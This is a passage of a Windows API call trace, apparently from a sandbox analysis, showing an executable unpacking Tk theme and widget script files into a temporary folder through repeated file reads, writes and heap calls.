"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\alttheme.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.864] GetFileType (hFile=0x10c) returned 0x1 [0044.864] htonl (hostlong=0xe0d0000) returned 0xd0e [0044.864] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.864] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xd0e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xd0e, lpOverlapped=0x0) returned 1 [0044.865] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.865] CloseHandle (hObject=0x10c) returned 1 [0044.865] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.865] htonl (hostlong=0x30000000) returned 0x30 [0044.865] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.865] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.865] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.865] GetFileType (hFile=0x10c) returned 0x1 [0044.865] htonl (hostlong=0xd51f6000) returned 0x601fd5 [0044.865] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x64cfd5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.865] htonl (hostlong=0x1c030000) returned 0x31c [0044.865] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x31c) returned 0x550600 [0044.865] htonl (hostlong=0x1c030000) returned 0x31c [0044.865] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.865] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.865] htonl (hostlong=0xd1070000) returned 0x7d1 [0044.865] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7d1) returned 0x55e278 [0044.865] htonl (hostlong=0x1c030000) returned 0x31c [0044.865] htonl (hostlong=0xd1070000) returned 0x7d1 [0044.865] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.866] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.866] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.866] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.866] CloseHandle (hObject=0x10c) returned 1 [0044.866] GetLastError () returned 0x0 [0044.866] SetLastError (dwErrCode=0x0) [0044.866] GetLastError () returned 0x0 [0044.866] SetLastError (dwErrCode=0x0) [0044.866] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.866] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.866] GetFileType (hFile=0x10c) returned 0x1 [0044.866] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.866] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.866] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.866] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.866] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.866] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.866] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.866] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.866] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.866] CloseHandle (hObject=0x10c) returned 1 [0044.866] GetLastError () returned 0x0 [0044.866] SetLastError (dwErrCode=0x0) [0044.866] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.866] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.867] GetFileType (hFile=0x10c) returned 0x1 [0044.867] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.867] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.867] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.867] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.867] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.867] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.867] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.867] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.867] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.867] CloseHandle (hObject=0x10c) returned 1 [0044.867] GetLastError () returned 0x0 [0044.867] SetLastError (dwErrCode=0x0) [0044.867] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\aquaTheme.tcl") returned 66 [0044.867] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\aquaTheme.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\aquatheme.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.867] GetLastError () returned 0x2 [0044.867] SetLastError (dwErrCode=0x2) [0044.867] GetLastError () returned 0x2 [0044.867] SetLastError (dwErrCode=0x2) [0044.867] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\aquaTheme.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\aquaTheme.tcl", lpFilePart=0x0) returned 0x41 [0044.867] GetLastError () returned 0x2 [0044.867] SetLastError (dwErrCode=0x2) [0044.867] GetLastError () returned 0x2 [0044.867] SetLastError (dwErrCode=0x2) [0044.867] GetLastError () returned 0x2 [0044.867] SetLastError (dwErrCode=0x2) [0044.867] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\aquaTheme.tcl") returned 66 [0044.867] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.867] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\aquaTheme.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\aquatheme.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.869] GetFileType (hFile=0x10c) returned 0x1 [0044.869] htonl (hostlong=0xd1070000) returned 0x7d1 [0044.869] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.869] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x7d1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x7d1, lpOverlapped=0x0) returned 1 [0044.870] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.870] CloseHandle (hObject=0x10c) returned 1 [0044.870] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.870] htonl (hostlong=0x30000000) returned 0x30 [0044.870] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.870] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.870] GetFileType (hFile=0x10c) returned 0x1 [0044.870] htonl (hostlong=0xf1226000) returned 0x6022f1 [0044.870] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x64d2f1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.870] htonl (hostlong=0xe3040000) returned 0x4e3 [0044.870] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4e3) returned 0x550600 [0044.870] htonl (hostlong=0xe3040000) returned 0x4e3 [0044.870] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.870] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.870] htonl (hostlong=0xa20b0000) returned 0xba2 [0044.871] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xba2) returned 0x55e278 [0044.871] htonl (hostlong=0xe3040000) returned 0x4e3 [0044.871] htonl (hostlong=0xa20b0000) returned 0xba2 [0044.871] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.871] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.871] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.871] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.871] CloseHandle (hObject=0x10c) returned 1 [0044.871] GetLastError () returned 0x0 [0044.871] SetLastError (dwErrCode=0x0) [0044.871] GetLastError () returned 0x0 [0044.871] SetLastError (dwErrCode=0x0) [0044.871] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.871] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.871] GetFileType (hFile=0x10c) returned 0x1 [0044.871] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.871] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.871] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.871] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.871] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.871] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.871] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.871] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.871] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.871] CloseHandle (hObject=0x10c) returned 1 [0044.871] GetLastError () returned 0x0 [0044.871] SetLastError (dwErrCode=0x0) [0044.872] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.872] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.872] GetFileType (hFile=0x10c) returned 0x1 [0044.872] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.872] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.872] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.872] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.872] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.872] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.872] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.872] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.872] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.872] CloseHandle (hObject=0x10c) returned 1 [0044.872] GetLastError () returned 0x0 [0044.872] SetLastError (dwErrCode=0x0) [0044.872] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\button.tcl") returned 63 [0044.872] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\button.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\button.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.872] GetLastError () returned 0x2 [0044.872] SetLastError (dwErrCode=0x2) [0044.872] GetLastError () returned 0x2 [0044.872] SetLastError (dwErrCode=0x2) [0044.872] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\button.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\button.tcl", lpFilePart=0x0) returned 0x3e [0044.872] GetLastError () returned 0x2 [0044.872] SetLastError (dwErrCode=0x2) [0044.872] GetLastError () returned 0x2 [0044.872] SetLastError (dwErrCode=0x2) [0044.873] GetLastError () returned 0x2 [0044.873] SetLastError (dwErrCode=0x2) [0044.873] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\button.tcl") returned 63 [0044.873] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.873] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\button.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\button.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.873] GetFileType (hFile=0x10c) returned 0x1 [0044.873] htonl (hostlong=0xa20b0000) returned 0xba2 [0044.873] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.873] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xba2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xba2, lpOverlapped=0x0) returned 1 [0044.874] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.874] CloseHandle (hObject=0x10c) returned 1 [0044.874] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.874] htonl (hostlong=0x30000000) returned 0x30 [0044.874] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.874] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.874] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.874] GetFileType (hFile=0x10c) returned 0x1 [0044.874] htonl (hostlong=0xd4276000) returned 0x6027d4 [0044.874] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x64d7d4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.874] htonl (hostlong=0x25040000) returned 0x425 [0044.874] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x425) returned 0x550600 [0044.874] htonl (hostlong=0x25040000) returned 0x425 [0044.874] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.874] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.874] htonl (hostlong=0xa5100000) returned 0x10a5 [0044.875] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10a5) returned 0x562098 [0044.875] htonl (hostlong=0x25040000) returned 0x425 [0044.875] htonl (hostlong=0xa5100000) returned 0x10a5 [0044.875] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563148 [0044.875] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563148 | out: hHeap=0x530000) returned 1 [0044.875] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.875] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.875] CloseHandle (hObject=0x10c) returned 1 [0044.875] GetLastError () returned 0x0 [0044.875] SetLastError (dwErrCode=0x0) [0044.875] GetLastError () returned 0x0 [0044.875] SetLastError (dwErrCode=0x0) [0044.875] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.875] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.875] GetFileType (hFile=0x10c) returned 0x1 [0044.875] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.875] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.875] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.875] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.875] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.875] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.875] CloseHandle (hObject=0x10c) returned 1 [0044.875] GetLastError () returned 0x0 [0044.876] SetLastError (dwErrCode=0x0) [0044.876] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.876] CreateFileW 